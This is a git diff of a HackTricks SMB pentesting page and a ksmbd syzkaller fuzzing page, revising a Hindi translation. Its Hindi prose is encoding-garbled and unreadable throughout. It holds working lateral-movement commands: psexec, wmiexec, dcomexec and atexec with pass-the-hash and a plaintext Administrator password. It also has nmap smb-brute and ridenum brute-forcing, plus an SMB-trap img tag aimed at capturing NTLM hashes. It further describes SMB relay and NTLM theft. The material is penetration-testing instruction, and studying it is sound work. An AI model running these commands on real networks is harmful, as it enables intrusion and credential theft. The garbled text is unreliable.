-crackmapexec рдХрдорд╛рдВрдб рдЪрд▓рд╛ рд╕рдХрддрд╛ рд╣реИ **abusing** рдХрд┐рд╕реА рднреА **mmcexec, smbexec, atexec, wmiexec** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, рдЬрд╣рд╛рдБ **wmiexec** **default** рдореЗрдердб рд╣реИред рдЖрдк `--exec-method` рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд╕рд╛рде рдпрд╣ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдЖрдк рдХрд┐рд╕ рд╡рд┐рдХрд▓реНрдк рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдкрд╕рдВрдж рдХрд░рддреЗ рд╣реИрдВ:
+crackmapexec рдХрд┐рд╕реА рднреА **mmcexec, smbexec, atexec, wmiexec** рдореЗрдВ рд╕реЗ рдХрд┐рд╕реА рдХрд╛ **abusing** рдХрд░ рдХреЗ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЬрд╣рд╛рдБ **wmiexec** **default** method рд╣реИред рдЖрдк `--exec-method` parameter рдХреЗ рд╕рд╛рде рдпрд╣ рд╕рдВрдХреЗрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдЖрдк рдХрд┐рд╕ option рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣реЗрдВрдЧреЗ:
```bash
apt-get install crackmapexec
@@ -380,9 +380,9 @@ crackmapexec smb -d -u Administrator -H #Pass-The-Hash
```
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
-рджреЛрдиреЛрдВ рд╡рд┐рдХрд▓реНрдк рдкреАрдбрд╝рд┐рдд рдорд╢реАрди рдкрд░ _\pipe\svcctl_ (SMB рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **рдПрдХ рдирдИ рд╕рд░реНрд╡рд┐рд╕ рдмрдирд╛рдПрдВрдЧреЗ** рдФрд░ рдЙрд╕реЗ рдХрд┐рд╕реА рдЪреАрдЬрд╝ рдХреЛ **execute** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВрдЧреЗ (**psexec** рдПрдХ executable рдлрд╝рд╛рдЗрд▓ ADMIN$ share рдкрд░ **upload** рдХрд░реЗрдЧрд╛ рдФрд░ **smbexec** **cmd.exe/powershell.exe** рдХреА рдУрд░ рдЗрдВрдЧрд┐рдд рдХрд░реЗрдЧрд╛ рдФрд░ arguments рдореЗрдВ payload рд░рдЦреЗрдЧрд╛ --**file-less technique-**-).\
-**рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА** [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)рдФрд░ [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
-**kali** рдореЗрдВ рдпрд╣ рд╕реНрдерд┐рдд рд╣реИ /usr/share/doc/python3-impacket/examples/
+рджреЛрдиреЛрдВ рд╡рд┐рдХрд▓реНрдк рдкреАрдбрд╝рд┐рдд рдорд╢реАрди рдореЗрдВ SMB рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ _\pipe\svcctl_ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **рдПрдХ рдирдИ рд╕реЗрд╡рд╛ рдмрдирд╛рдПрдБрдЧреЗ** рдФрд░ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ **рдХреБрдЫ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП** рдХрд░реЗрдВрдЧреЗ (**psexec** рдПрдХ executable file рдХреЛ ADMIN$ share рдкрд░ **рдЕрдкрд▓реЛрдб** рдХрд░реЗрдЧрд╛ рдФрд░ **smbexec** **cmd.exe/powershell.exe** рдХреА рдУрд░ рдкреЙрдЗрдВрдЯ рдХрд░реЗрдЧрд╛ рдФрд░ arguments рдореЗрдВ payload рдбрд╛рд▓реЗрдЧрд╛ --**file-less technique-**-).\
+**рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА** [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md) рдФрд░ [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
+**kali** рдореЗрдВ рдпрд╣ /usr/share/doc/python3-impacket/examples/ рдкрд░ рд╕реНрдерд┐рдд рд╣реИ
```bash
#If no password is provided, it will be prompted
./psexec.py [[domain/]username[:password]@]
@@ -390,19 +390,19 @@ crackmapexec smb -d -u Administrator -H #Pass-The-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
```
-**parameter**`-k` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдк **NTLM** рдХреЗ рдмрдЬрд╛рдп **kerberos** рдХреЗ рдЦрд┐рд▓рд╛рдл authenticate рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ
+**рдкреИрд░рд╛рдореАрдЯрд░**`-k` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдк **NTLM** рдХреА рдмрдЬрд╛рдп **kerberos** рдХреЗ рд╕рд╛рде рдкреНрд░рдорд╛рдгреАрдХреГрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ
### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
-DCOM рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ **port 135.** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП рдбрд┐рд╕реНрдХ рдХреЛ рдЫреБрдП рдмрд┐рдирд╛ рдпрд╛ рдХреЛрдИ рдирдпрд╛ service рдЪрд▓рд╛рдП рдмрд┐рдирд╛ рдЧреБрдкреНрдд рд░реВрдк рд╕реЗ рдПрдХ command shell рдЪрд▓рд╛рдПрдБред\
-**kali** рдореЗрдВ рдпрд╣ рд╕реНрдерд┐рдд рд╣реИ /usr/share/doc/python3-impacket/examples/
+рдбрд┐рд╕реНрдХ рдХреЛ рдЫреБрдП рдмрд┐рдирд╛ рдпрд╛ рдХреЛрдИ рдирдпрд╛ service рдЪрд▓рд╛рдП рдмрд┐рдирд╛ DCOM рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЪреБрдкрдХреЗ рд╕реЗ рдПрдХ command shell рдЪрд▓рд╛рдПрдБ **port 135.**\
+рдпрд╣ **kali** рдореЗрдВ /usr/share/doc/python3-impacket/examples/ рдкрд░ рд╕реНрдерд┐рдд рд╣реИ/
```bash
#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@] #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```
-рдЖрдк **рдкреИрд░рд╛рдореАрдЯрд░** `-k` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **kerberos** рдХреЗ рд╕рд╛рде рдкреНрд░рдорд╛рдгреАрдХреГрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, **NTLM** рдХреЗ рдмрдЬрд╛рдпред
+**рдкреИрд░рд╛рдореАрдЯрд░**`-k` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдк **NTLM** рдХреА рдмрдЬрд╛рдп **kerberos** рдХреЗ рд╕рд╛рде рдкреНрд░рдорд╛рдгреАрдХреГрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
```bash
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]
@@ -411,8 +411,8 @@ DCOM рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ **port 135.** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХ
```
### [AtExec](../../windows-hardening/lateral-movement/atexec.md)
-Task Scheduler рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ (_\pipe\atsvc_ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, SMB рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ).\
-рдпрд╣ **kali** рдореЗрдВ /usr/share/doc/python3-impacket/examples/ рдкрд░ рд╕реНрдерд┐рдд рд╣реИ
+Task Scheduler рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрдорд╛рдВрдб рдЪрд▓рд╛рдПрдБ (SMB рдХреЗ рдЬрд░рд┐рдП _\pipe\atsvc_ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ).\
+**kali** рдореЗрдВ рдпрд╣ рд╕реНрдерд┐рдд рд╣реИ: /usr/share/doc/python3-impacket/examples/
```bash
./atexec.py [[domain/]username[:password]@] "command"
./atexec.py -hashes administrator@10.10.10.175 "whoami"
@@ -429,19 +429,19 @@ ksmbd-attack-surface-and-fuzzing-syzkaller.md
## **Bruteforce users credentials**
-**рдпрд╣ рдЕрдиреБрд╢рдВрд╕рд┐рдд рдирд╣реАрдВ рд╣реИ; рдпрджрд┐ рдЖрдк рдЕрдзрд┐рдХрддрдо рдЕрдиреБрдордд рдкреНрд░рдпрд╛рд╕реЛрдВ рд╕реЗ рдЕрдзрд┐рдХ рдХрд░рддреЗ рд╣реИрдВ рддреЛ рдЦрд╛рддрд╛ рдмреНрд▓реЙрдХ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред**
+**рдпрд╣ рдЕрдиреБрд╢рдВрд╕рд┐рдд рдирд╣реАрдВ рд╣реИ, рдпрджрд┐ рдЖрдк рдЕрдзрд┐рдХрддрдо рдЕрдиреБрдордд рдкреНрд░рдпрд╛рд╕реЛрдВ рд╕реЗ рдЕрдзрд┐рдХ рдХреЛрд╢рд┐рд╢ рдХрд░рддреЗ рд╣реИрдВ рддреЛ рдЖрдк рдХрд┐рд╕реА рдЦрд╛рддреЗ рдХреЛ рдмреНрд▓реЙрдХ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ**
```bash
nmap --script smb-brute -p 445
ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
```
## SMB relay attack
-рдпрд╣ рд╣рдорд▓рд╛ Responder toolkit рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдВрддрд░рд┐рдХ рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ **capture SMB authentication sessions** рдХрд░рдиреЗ рдФрд░ рдЙрдиреНрд╣реЗрдВ **relays** рдХрд░рдХреЗ рдПрдХ **target machine** рдкрд░ рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрджрд┐ authentication **session is successful** рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдпрд╣ рдЕрдкрдиреЗ рдЖрдк рдЖрдкрдХреЛ рдПрдХ **system** **shell** рдореЗрдВ рдбрд╛рд▓ рджреЗрдЧрд╛ред\
+рдпрд╣ рд╣рдорд▓рд╛ Responder toolkit рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдВрддрд░рд┐рдХ рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ **capture SMB authentication sessions** рдХреЛ рдкрдХрдбрд╝рддрд╛ рд╣реИ, рдФрд░ рдЙрдиреНрд╣реЗрдВ **relays** рдХрд░рдХреЗ рдПрдХ **target machine** рдкрд░ рднреЗрдЬрддрд╛ рд╣реИред рдпрджрд┐ authentication **session рд╕рдлрд▓ рд╣реЛрддрд╛ рд╣реИ**, рддреЛ рдпрд╣ рд╕реНрд╡рддрдГ рд╣реА рдЖрдкрдХреЛ рдПрдХ **system** **shell** рдореЗрдВ рдбрд╛рд▓ рджреЗрдЧрд╛ред\
[**More information about this attack here.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
## SMB-Trap
-Windows рд▓рд╛рдЗрдмреНрд░реЗрд░реА URLMon.dll рд╕реНрд╡рддрдГ рд╣реА host рдХреЛ authenticate рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддреА рд╣реИ рдЬрдм рдХреЛрдИ рдкреЗрдЬ SMB рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрд┐рд╕реА content рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП: `img src="\\10.10.10.10\path\image.jpg"`
+Windows рд▓рд╛рдЗрдмреНрд░реЗрд░реА URLMon.dll рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ host рдХреЗ рд╕рд╛рде authenticate рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддреА рд╣реИ рдЬрдм рдХреЛрдИ рдкреЗрдЬ SMB рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрд┐рд╕реА рдХрдВрдЯреЗрдВрдЯ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП: `img src="\\10.10.10.10\path\image.jpg"`
This happens with the functions:
@@ -460,11 +460,11 @@ Which are used by some browsers and tools (like Skype)
## NTLM Theft
-SMB Trapping рдХреЗ рд╕рдорд╛рди, target system рдкрд░ malicious files рдкреНрд▓рд╛рдВрдЯ рдХрд░рдиреЗ рд╕реЗ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП SMB рдХреЗ рдЬрд░рд┐рдП) рдПрдХ SMB authentication attempt рд╣реЛ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ NetNTLMv2 hash рдХреЛ Responder рдЬреИрд╕реЗ tool рдХреЗ рд╕рд╛рде intercept рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдлрд┐рд░ рдЙрд╕ hash рдХреЛ offline crack рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдпрд╛ [SMB relay attack](#smb-relay-attack) рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
+SMB Trapping рдХреЗ рд╕рдорд╛рди, рд▓рдХреНрд╖реНрдп рд╕рд┐рд╕реНрдЯрдо рдкрд░ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП SMB рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ) malicious рдлрд╛рдЗрд▓реЗрдВ рд░рдЦрдХрд░ рдПрдХ SMB authentication рдкреНрд░рдпрд╛рд╕ рдЙрддреНрдкрдиреНрди рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ NetNTLMv2 hash рдХреЛ Responder рдЬреИрд╕реЗ tool рд╕реЗ intercept рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдмрд╛рдж рдЙрд╕ hash рдХреЛ offline рдореЗрдВ crack рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдпрд╛ [SMB relay attack](#smb-relay-attack) рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
[See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
-## HackTricks рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрдорд╛рдВрдб
+## HackTricks Automatic Commands
```
Protocol_Name: SMB #Protocol Abbreviation if there is one.
Port_Number: 137,138,139 #Comma separated if there is more than one.
diff --git a/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md b/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md
index 950860f0c..be672fa00 100644
--- a/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md
+++ b/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md
@@ -1,16 +1,16 @@
-# ksmbd рдЖрдХреНрд░рдордг рд╕рддрд╣ & SMB2/SMB3 рдкреНрд░реЛрдЯреЛрдХреЙрд▓ fuzzing (syzkaller)
+# ksmbd Attack Surface & SMB2/SMB3 Protocol Fuzzing (syzkaller)
{{#include ../../banners/hacktricks-training.md}}
-## рдЕрд╡рд▓реЛрдХрди
-рдпрд╣ рдкреГрд╖реНрда syzkaller рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ Linux in-kernel SMB server (ksmbd) рдХреЛ рдЯреЗрд╕реНрдЯ рдФрд░ fuzz рдХрд░рдиреЗ рдХреА рд╡реНрдпрд╛рд╡рд╣рд╛рд░рд┐рдХ рддрдХрдиреАрдХреЛрдВ рдХрд╛ рд╕рд╛рд░ рдкреНрд░рд╕реНрддреБрдд рдХрд░рддрд╛ рд╣реИред рдпрд╣ configuration рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдЖрдХреНрд░рдордг рд╕рддрд╣ рдХреЛ рдмрдврд╝рд╛рдиреЗ, stateful harness рдмрдирд╛рдиреЗ рдЬреЛ SMB2 operations рдХреЛ chain рдХрд░ рд╕рдХреЗ, grammar-valid PDUs рдЬрдирд░реЗрдЯ рдХрд░рдиреЗ, weakly-covered code paths рдореЗрдВ mutations рдХреЛ bias рдХрд░рдиреЗ, рдФрд░ syzkaller рдХреА рд╕реБрд╡рд┐рдзрд╛рдУрдВ рдЬреИрд╕реЗ focus_areas рдФрд░ ANYBLOB рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдкрд░ рдХреЗрдВрджреНрд░рд┐рдд рд╣реИред рдЬрдмрдХрд┐ рдореМрд▓рд┐рдХ рд░рд┐рд╕рд░реНрдЪ рдореЗрдВ specific CVEs рд╕реВрдЪреАрдмрджреНрдз рд╣реИрдВ, рдпрд╣рд╛рдБ рд╣рдо рдкреБрди: рдЙрдкрдпреЛрдЧ рдпреЛрдЧреНрдп methodology рдФрд░ concrete snippets рдкрд░ рдЬреЛрд░ рджреЗрддреЗ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдЖрдк рдЕрдкрдиреЗ setups рдХреЗ рд▓рд┐рдП рдЕрдиреБрдХреВрд▓рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
+## Overview
+рдпрд╣ рдкреГрд╖реНрда syzkaller рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ Linux in-kernel SMB server (ksmbd) рдХреЛ рдПрдХреНрд╕рд░рд╕рд╛рдЗрдЬрд╝ рдФрд░ рдлрдЬрд╝ рдХрд░рдиреЗ рдХреЗ рд╡реНрдпрд╛рд╡рд╣рд╛рд░рд┐рдХ рддрд░реАрдХреЗ рд╕рдВрдХреНрд╖реЗрдк рдореЗрдВ рдмрддрд╛рддрд╛ рд╣реИред рдпрд╣ configuration рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ attack surface рдХреЛ рдмрдврд╝рд╛рдиреЗ, SMB2 рдСрдкрд░реЗрд╢рдиреЛрдВ рдХреЛ chain рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо stateful harness рдмрдирд╛рдиреЗ, grammar-valid PDUs рдЬрдирд░реЗрдЯ рдХрд░рдиреЗ, рдХрдордЬреЛрд░-рдХрд╡рд░реНрдб рдХрд┐рдП рдЧрдП рдХреЛрдб рдкрд╛рдереНрд╕ рдкрд░ mutations рдХреЛ bias рдХрд░рдиреЗ, рдФрд░ syzkaller рдХреА рд╕реБрд╡рд┐рдзрд╛рдУрдВ рдЬреИрд╕реЗ focus_areas рдФрд░ ANYBLOB рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдиреЗ рдкрд░ рдХреЗрдВрджреНрд░рд┐рдд рд╣реИред рдЬрдмрдХрд┐ рдореВрд▓ рд░рд┐рд╕рд░реНрдЪ рд╡рд┐рд╢рд┐рд╖реНрдЯ CVEs рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░рддреА рд╣реИ, рдпрд╣рд╛рдБ рд╣рдо рдкреБрди:рдЙрдкрдпреЛрдЧ рдпреЛрдЧреНрдп methodology рдФрд░ рдРрд╕реЗ concrete рд╕реНрдирд┐рдкреЗрдЯреНрд╕ рдкрд░ рдЬреЛрд░ рджреЗрддреЗ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдЖрдк рдЕрдкрдиреЗ рд╕реЗрдЯрдЕрдк рдореЗрдВ рдЕрдиреБрдХреВрд▓рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
-рд▓рдХреНрд╖рд┐рдд рджрд╛рдпрд░рд╛: SMB2/SMB3 over TCP. Kerberos рдФрд░ RDMA рдЬрд╛рдирдмреВрдЭрдХрд░ рджрд╛рдпрд░реЗ рд╕реЗ рдмрд╛рд╣рд░ рд░рдЦреЗ рдЧрдП рд╣реИрдВ рддрд╛рдХрд┐ harness рд╕рд░рд▓ рд░рд╣реЗред
+Target scope: SMB2/SMB3 over TCP. Kerberos рдФрд░ RDMA рдЬрд╛рдирдмреВрдЭрдХрд░ рдЖрдЙрдЯ-рдСрдл-рд╕реНрдХреЛрдк рд╣реИрдВ рддрд╛рдХрд┐ harness рд╕рд░рд▓ рд░рд╣реЗред
---
-## Configuration рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ ksmbd рдЖрдХреНрд░рдордг рд╕рддрд╣ рдмрдврд╝рд╛рдПрдБ
-рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ, рдПрдХ рдиреНрдпреВрдирддрдо ksmbd рд╕реЗрдЯрдЕрдк рд╕рд░реНрд╡рд░ рдХреЗ рдмрдбрд╝реЗ рд╣рд┐рд╕реНрд╕реЛрдВ рдХреЛ рдЕрдЯреЗрд╕реНрдЯреЗрдб рдЫреЛрдбрд╝ рджреЗрддрд╛ рд╣реИред рдЕрддрд┐рд░рд┐рдХреНрдд parsers/handlers рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рд░реНрд╡рд░ рдХреЛ рдЪрд▓рд╛рдиреЗ рдФрд░ рдЧрд╣рд░реЗ рдХреЛрдб рдкрд╛рдереНрд╕ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╕реБрд╡рд┐рдзрд╛рдПрдБ рд╕рдХреНрд╖рдо рдХрд░реЗрдВ:
+## Expand ksmbd Attack Surface via Configuration
+рдбрд┐рдлрд╝реЙрд▓реНрдЯ, minimal ksmbd рд╕реЗрдЯрдЕрдк рд╕рд░реНрд╡рд░ рдХреЗ рдмрдбрд╝реЗ рд╣рд┐рд╕реНрд╕реЛрдВ рдХреЛ untested рдЫреЛрдбрд╝ рджреЗрддрд╛ рд╣реИред рд╕рд░реНрд╡рд░ рдХреЛ рдЕрддрд┐рд░рд┐рдХреНрдд parsers/handlers рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдбреНрд░рд╛рдЗрд╡ рдХрд░рдиреЗ рдФрд░ рдЧрд╣рд░реЗ рдХреЛрдб рдкрд╛рдереНрд╕ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╕реБрд╡рд┐рдзрд╛рдПрдБ рд╕рдХреНрд╖рдо рдХрд░реЗрдВ:
- Global-level
- Durable handles
@@ -20,7 +20,7 @@
- Oplocks (on by default)
- VFS objects
-рдЗрдирдХреЛ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рд╕реЗ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдореЙрдбреНрдпреВрд▓реНрд╕ рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрди рдмрдврд╝рддрд╛ рд╣реИ:
+рдЗрдирдХреЛ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рд╕реЗ рдирд┐рдореНрди рдореЙрдбреНрдпреВрд▓реЛрдВ рдореЗрдВ execution рдмрдврд╝рддреА рд╣реИ:
- smb2pdu.c (command parsing/dispatch)
- ndr.c (NDR encode/decode)
- oplock.c (oplock request/break)
@@ -28,28 +28,28 @@
- vfs.c (VFS ops)
- vfs_cache.c (lookup cache)
-рдиреЛрдЯреНрд╕
-- рд╕рдЯреАрдХ рд╡рд┐рдХрд▓реНрдк рдЖрдкрдХреЗ distroтАЩs ksmbd userspace (ksmbd-tools) рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреЗ рд╣реИрдВред /etc/ksmbd/ksmbd.conf рдФрд░ per-share sections рдХреА рд╕рдореАрдХреНрд╖рд╛ рдХрд░реЗрдВ рддрд╛рдХрд┐ durable handles, leases, oplocks рдФрд░ VFS objects рд╕рдХреНрд╖рдо рдХрд┐рдП рдЬрд╛ рд╕рдХреЗрдВред
-- Multi-channel рдФрд░ durable handles state machines рдФрд░ lifetimes рдХреЛ рдмрджрд▓рддреЗ рд╣реИрдВ, рдФрд░ concurrency рдХреЗ рджреМрд░рд╛рди рдЕрдХреНрд╕рд░ UAF/refcount/OOB рдмрдЧреНрд╕ рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░рддреЗ рд╣реИрдВред
+Notes
+- рд╕рдЯреАрдХ рд╡рд┐рдХрд▓реНрдк рдЖрдкрдХреЗ distro рдХреЗ ksmbd userspace (ksmbd-tools) рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреЗ рд╣реИрдВред /etc/ksmbd/ksmbd.conf рдФрд░ per-share sections рдХреА рд╕рдореАрдХреНрд╖рд╛ рдХрд░реЗрдВ рддрд╛рдХрд┐ durable handles, leases, oplocks рдФрд░ VFS objects рд╕рдХреНрд╖рдо рдХрд┐рдП рдЬрд╛ рд╕рдХреЗрдВред
+- Multi-channel рдФрд░ durable handles state machines рдФрд░ lifetimes рдХреЛ рдмрджрд▓рддреЗ рд╣реИрдВ, рдЬреЛ concurrency рдореЗрдВ рдЕрдХреНрд╕рд░ UAF/refcount/OOB рдмрдЧреНрд╕ рдХреЛ surface рдХрд░рддреЗ рд╣реИрдВред
---
-## Fuzzing рдХреЗ рд▓рд┐рдП Authentication рдФрд░ Rate-Limiting рд╕рдорд╛рдпреЛрдЬрди
-SMB3 рдХреЛ рдПрдХ valid session рдЪрд╛рд╣рд┐рдПред harnesses рдореЗрдВ Kerberos рд▓рд╛рдЧреВ рдХрд░рдиреЗ рд╕реЗ рдЬрдЯрд┐рд▓рддрд╛ рдмрдврд╝рддреА рд╣реИ, рдЗрд╕рд▓рд┐рдП fuzzing рдХреЗ рд▓рд┐рдП NTLM/guest рдкрд╕рдВрдж рдХрд░реЗрдВ:
+## Authentication and Rate-Limiting Adjustments for Fuzzing
+SMB3 рдХреЛ рдПрдХ valid session рдЪрд╛рд╣рд┐рдПред harnesses рдореЗрдВ Kerberos рд▓рд╛рдЧреВ рдХрд░рдирд╛ рдЬрдЯрд┐рд▓рддрд╛ рдмрдврд╝рд╛рддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП fuzzing рдХреЗ рд▓рд┐рдП NTLM/guest рдХреЛ рдкреНрд░рд╛рдердорд┐рдХрддрд╛ рджреЗрдВ:
-- Allow guest access рдФрд░ map to guest = bad user рд╕реЗрдЯ рдХрд░реЗрдВ рддрд╛рдХрд┐ unknown users GUEST рдкрд░ fallback рдХрд░ рдЬрд╛рдПрдБред
-- NTLMv2 рдХреЛ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░реЗрдВ (рдЕрдЧрд░ disabled рд╣реЛ рддреЛ policy patch рдХрд░реЗрдВ)ред рдЗрд╕рд╕реЗ handshake рд╕рд░рд▓ рд░рд╣рддрд╛ рд╣реИ рдЬрдмрдХрд┐ SMB3 code paths рдХрд╛ рдкрд░реАрдХреНрд╖рдг рд╣реЛрддрд╛ рд╣реИред
-- experimentation рдХреЗ рджреМрд░рд╛рди strict credit checks рдХреЛ patch out рдХрд░реЗрдВ (post-hardening рдХреЗ рдмрд╛рдж CVE-2024-50285 рдиреЗ simultaneous-op crediting рдХреЛ рдХрдбрд╝рд╛ рдХрд┐рдпрд╛)ред рдЕрдиреНрдпрдерд╛, rate-limits fuzzed sequences рдХреЛ рдмрд╣реБрдд рдЬрд▓реНрджреА reject рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
